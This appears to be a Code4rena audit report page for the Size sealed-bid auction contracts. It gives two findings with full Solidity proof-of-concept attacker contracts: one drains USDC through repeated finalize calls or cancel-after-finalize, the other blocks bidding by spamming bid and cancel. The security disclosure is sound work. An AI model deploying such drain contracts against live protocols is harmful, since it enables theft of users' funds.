Platform: Code4rena
Start Date: 04/11/2022
Pot Size: $42,500 USDC
Total HM: 9
Participants: 88
Period: 4 days
Judge: 0xean
Total Solo HM: 2
Id: 180
League: ETH
Rank: 26/88
Findings: 2
Award: $158.70
🌟 Selected for report: 0
🚀 Solo Findings: 0
153.1035 USDC - $153.10
In summary, a seller create an auction, and bid on it with another address, and later finalize the auction. It is possible that the seller provide the parameters some how (during creating/bidding/finalizing) that the state of the auction will not be finalized at all. So, the seller can finalize the auction many times or cancel an already finalized auction. So, it will result in stealing fund from the protocol.
The attacker creates an auction for let's say 1000 USDC, so baseToken = USDC
and totalBaseAmount = 1000
. Moreover, the endTimestamp
and startTimestamp
are very close to each other, so it is almost impossible that anyone bid during this short time. The important parameters of creating an auction are:
So, the attacker with another address calls bid(...)
instantly after creating the auction. The important parameters of biding are:
Then, during the RevealPeriod
, the attacker calls reveal(...)
with the required parameter:
Then the attacker calls finalize(...)
with the following parameters:
In the body of finalize
function, everything will go smoothly. To be more clearer:
baseAmount
is equal to 1
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L266quotePerBase
is equal to type(uint128).max
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L269reserveQuotePerBase
is equal to type(uint128).max
, so the if condition is false
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L280previousQuotePerBase
is equal to type(uint128).max
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L285clearingQuote
and clearingBase
are equal to type(uint128).max
, so the if condition is false
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L297Finally, the base tokens (1000 USDC - filledBase
, where filledBase
is equal to 1) will be transferred to the attacker (seller).
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L321
Note that the transfer
and transferFrom
calls in quoteToken
are not important, because quoteToken
is the attacker's address, and it easily ignores such calls.
So far, everything is fine and looks safe. But, the value of a.data.lowestQuote
is set to clearingQuote
which is type(uint128).max
.
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L238
Now, we have an auction which is finalized, and all the base tokens are transferred to the attacker, while the lowestQuote
is equal to type(uint128).max
.
Now, the attacker can misuse the situation that lowestQuote = type(uint128).max
with two approaches:
The attacker again calls finalize
. In this case, the modifier atState(idToAuction[auctionId], States.RevealPeriod)
will be passed, because lowestQuote = type(uint128).max
and block.timestamp <= a.timings.endTimestamp + 24 hours
. So, again the base tokens (1000 USDC - filledBase
) will be transferred to the attacker (seller).
All in all, if the attacker calls this function many times, s/he can steal all the funds in the protocol.
The attacker calls cancelAuction(...)
with the same auction id finalized in the previous steps.
The condition on line 398 will be passed as the value of lowestQuote
was set in the previous steps:
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L398
So, again the attacker receives the base token (1000 USDC): https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L409
All in all, the attacker deposited 1000 USDC for the auction, but received 2000 USDC.
In the provide PoC below, the attacker deploys a contract AttackerFirstAddress
as a seller. This contract also deploys another contract AttackerSecondAddress
as a bidder.
createAuctionAndBid
, in which the auction will be created, and then AttackerSecondAddress
bids on that in the same transaction.revealAndRepeatFinalize
to repeat finalizing the auction until no USDC is left in the protocol.pragma solidity 0.8.0; struct AuctionParameters { address baseToken; address quoteToken; uint256 reserveQuotePerBase; uint128 totalBaseAmount; uint128 minimumBidQuote; bytes32 merkleRoot; Point pubKey; } struct Timings { uint32 startTimestamp; uint32 endTimestamp; uint32 vestingStartTimestamp; uint32 vestingEndTimestamp; uint128 cliffPercent; } struct Point { uint256 x; uint256 y; } interface IERC20 { function balanceOf(address account) external view returns (uint256); } interface ISize { function createAuction( AuctionParameters calldata auctionParams, Timings calldata timings, bytes calldata encryptedSellerPrivKey ) external returns (uint256); function bid( uint256 auctionId, uint128 quoteAmount, bytes32 commitment, Point calldata pubKey, bytes32 encryptedMessage, bytes calldata encryptedPrivateKey, bytes32[] calldata proof ) external; function finalize( uint256 auctionId, uint256[] memory bidIndices, uint128 clearingBase, uint128 clearingQuote ) external; function reveal( uint256 auctionId, uint256 privateKey, bytes calldata finalizeData ) external; } contract AttackerFirstAddress { ISize iSize; address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; uint256 auctionId; AttackerSecondAddress attackerSecondAddress; constructor(address _addr) { iSize = ISize(_addr); attackerSecondAddress = new AttackerSecondAddress(_addr); } function createAuctionAndBid( Point memory _sellerPubkey, // not important bytes calldata _encryptedSellerPrivKey, // not important bytes32 _commitment, // not important Point memory _bidderPubkey, // not important bytes32 _bidderEncryptedMessage, // not important bytes calldata _bidderEncryptedPrivateKey // not important ) public { AuctionParameters memory ap; ap.baseToken = USDC; ap.quoteToken = address(this); ap.reserveQuotePerBase = type(uint128).max; ap.totalBaseAmount = 1000 * 10**6; ap.minimumBidQuote = 1; ap.merkleRoot = bytes32(0); // not important ap.pubKey = _sellerPubkey; // not important Timings memory ti; ti.startTimestamp = uint32(block.timestamp); ti.endTimestamp = ti.startTimestamp + 1; ti.vestingStartTimestamp = ti.endTimestamp + 1; // not important ti.vestingEndTimestamp = ti.vestingStartTimestamp + 1; // not important ti.cliffPercent = 100; // not important auctionId = iSize.createAuction(ap, ti, _encryptedSellerPrivKey); attackerSecondAddress.bid( auctionId, _commitment, _bidderPubkey, _bidderEncryptedMessage, _bidderEncryptedPrivateKey ); } //wait for the reveal period starts function revealAndRepeatFinalize(uint256 _privateKey) public { iSize.reveal(auctionId, _privateKey, ""); uint256[] memory bidIndices = new uint256[](1); bidIndices[0] = 0; while (IERC20(USDC).balanceOf(address(iSize)) > 1000*10**6) { iSize.finalize( auctionId, bidIndices, type(uint128).max, type(uint128).max ); } } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { return true; } } contract AttackerSecondAddress { ISize iSize; constructor(address _addr) { iSize = ISize(_addr); } function bid( uint256 _auctionId, bytes32 _commitment, // not important Point memory _bidderPubkey, // not important bytes32 _bidderEncryptedMessage, // not important bytes calldata _bidderEncryptedPrivateKey // not important ) public { iSize.bid( _auctionId, 1, _commitment, _bidderPubkey, _bidderEncryptedMessage, _bidderEncryptedPrivateKey, new bytes32[](0) ); } }
createAuctionAndBid
, in which the auction will be created, and then AttackerSecondAddress
bids on that in the same transaction.revealAndFinalizeAndCancel
to finalize the auction and cancel it.pragma solidity 0.8.0; struct AuctionParameters { address baseToken; address quoteToken; uint256 reserveQuotePerBase; uint128 totalBaseAmount; uint128 minimumBidQuote; bytes32 merkleRoot; Point pubKey; } struct Timings { uint32 startTimestamp; uint32 endTimestamp; uint32 vestingStartTimestamp; uint32 vestingEndTimestamp; uint128 cliffPercent; } struct Point { uint256 x; uint256 y; } interface ISize { function createAuction( AuctionParameters calldata auctionParams, Timings calldata timings, bytes calldata encryptedSellerPrivKey ) external returns (uint256); function bid( uint256 auctionId, uint128 quoteAmount, bytes32 commitment, Point calldata pubKey, bytes32 encryptedMessage, bytes calldata encryptedPrivateKey, bytes32[] calldata proof ) external; function finalize( uint256 auctionId, uint256[] memory bidIndices, uint128 clearingBase, uint128 clearingQuote ) external; function reveal( uint256 auctionId, uint256 privateKey, bytes calldata finalizeData ) external; function cancelAuction(uint256 auctionId) external; } contract AttackerFirstAddress { ISize iSize; address USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48; uint256 auctionId; AttackerSecondAddress attackerSecondAddress; constructor(address _addr) { iSize = ISize(_addr); attackerSecondAddress = new AttackerSecondAddress(_addr); } function createAuctionAndBid( Point memory _sellerPubkey, // not important bytes calldata _encryptedSellerPrivKey, // not important bytes32 _commitment, // not important Point memory _bidderPubkey, // not important bytes32 _bidderEncryptedMessage, // not important bytes calldata _bidderEncryptedPrivateKey // not important ) public { AuctionParameters memory ap; ap.baseToken = USDC; ap.quoteToken = address(this); ap.reserveQuotePerBase = type(uint128).max; ap.totalBaseAmount = 1000 * 10**6; ap.minimumBidQuote = 1; ap.merkleRoot = bytes32(0); // not important ap.pubKey = _sellerPubkey; // not important Timings memory ti; ti.startTimestamp = uint32(block.timestamp); ti.endTimestamp = ti.startTimestamp + 1; ti.vestingStartTimestamp = ti.endTimestamp + 1; // not important ti.vestingEndTimestamp = ti.vestingStartTimestamp + 1; // not important ti.cliffPercent = 100; // not important auctionId = iSize.createAuction(ap, ti, _encryptedSellerPrivKey); attackerSecondAddress.bid( auctionId, _commitment, _bidderPubkey, _bidderEncryptedMessage, _bidderEncryptedPrivateKey ); } //wait for the reveal period starts function revealAndFinalizeAndCancel(uint256 _privateKey) public { iSize.reveal(auctionId, _privateKey, ""); uint256[] memory bidIndices = new uint256[](1); bidIndices[0] = 0; iSize.finalize( auctionId, bidIndices, type(uint128).max, type(uint128).max ); iSize.cancelAuction(auctionId); } function transferFrom( address from, address to, uint256 amount ) public virtual returns (bool) { return true; } function transfer(address to, uint256 amount) public virtual returns (bool) { return true; } } contract AttackerSecondAddress { ISize iSize; constructor(address _addr) { iSize = ISize(_addr); } function bid( uint256 _auctionId, bytes32 _commitment, // not important Point memory _bidderPubkey, // not important bytes32 _bidderEncryptedMessage, // not important bytes calldata _bidderEncryptedPrivateKey // not important ) public { iSize.bid( _auctionId, 1, _commitment, _bidderPubkey, _bidderEncryptedMessage, _bidderEncryptedPrivateKey, new bytes32[](0) ); } }
Cancelling an auction should not just rely on the following piece of code:
if (a.data.lowestQuote != type(uint128).max) { revert InvalidState(); }
#0 - trust1995
2022-11-09T00:31:31Z
Great writeup, dup of #252
#1 - c4-judge
2022-11-09T15:06:33Z
0xean marked the issue as duplicate
#2 - c4-judge
2022-12-06T00:22:49Z
0xean marked the issue as satisfactory
🌟 Selected for report: Trust
Also found by: 0x1f8b, 0xdapper, HE1M, KIntern_NA, Lambda, Picodes, RaymondFam, RedOneN, TomJ, V_B, __141345__, c7e7eff, chaduke, codexploder, corerouter, cryptonue, fs0c, gz627, hihen, joestakey, ktg, ladboy233, minhtrng, rvierdiiev, simon135, skyle, slowmoses, wagmi, yixxas
5.604 USDC - $5.60
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L122 https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L415
In summary, it is possible to bid and cancel the bid on an auction. So, the number of bidder will be incremented by one (although it is conceled). Doing so 1000 times, will prevent other users to bid on this auction.
Suppose an auction is already created. A malicious user calls 1000 times the function bid(...)
with the required parameters.
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L122
So, for each call, one bidder will be pushed to the array EncryptedBid[]
.
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L161
Then the malicious user calls cancelBid(...)
1000 times to take the funds back.
https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L415
By doing so, the number of bidders reaches to 1000, so no bidders can bid on this auction anymore, because it is reached to the limit. https://github.com/code-423n4/2022-11-size/blob/706a77e585d0852eae6ba0dca73dc73eb37f8fb6/src/SizeSealed.sol#L157
The malicious user only pays the gas for these transactions, and will not lose any money because during cancelling bids the fund is transferred back to the malicious user.
The vulnerability is that in the function cancelBid(...)
, the bid is not removed from the number of bidders in the auction.
pragma solidity 0.8.0; struct Point { uint256 x; uint256 y; } interface ISize { function bid( uint256 auctionId, uint128 quoteAmount, bytes32 commitment, Point calldata pubKey, bytes32 encryptedMessage, bytes calldata encryptedPrivateKey, bytes32[] calldata proof ) external; function cancelBid(uint256 auctionId, uint256 bidIndex) external; } contract SizePoC { ISize iSize; constructor(address _addr) { iSize = ISize(_addr); } function attack(uint256 _auctionId, uint128 _quoteAmount) public { Point memory tempPoint; tempPoint.x = 0; tempPoint.y = 0; for (uint256 i = 0; i < 1000; ++i) { iSize.bid( _auctionId, _quoteAmount, bytes32(0), tempPoint, bytes32(0), "0x00", new bytes32[](0) ); iSize.cancelBid(_auctionId, i); } } }
The number of active/valid bidders should be tracked, so during cancelling a bid, it can be easily removed.
#0 - trust1995
2022-11-09T00:33:03Z
Dup of #238
#1 - c4-judge
2022-11-09T15:39:33Z
0xean marked the issue as duplicate
#2 - c4-judge
2022-12-06T00:22:50Z
0xean marked the issue as satisfactory
#3 - c4-judge
2022-12-06T00:31:07Z
0xean changed the severity to 2 (Med Risk)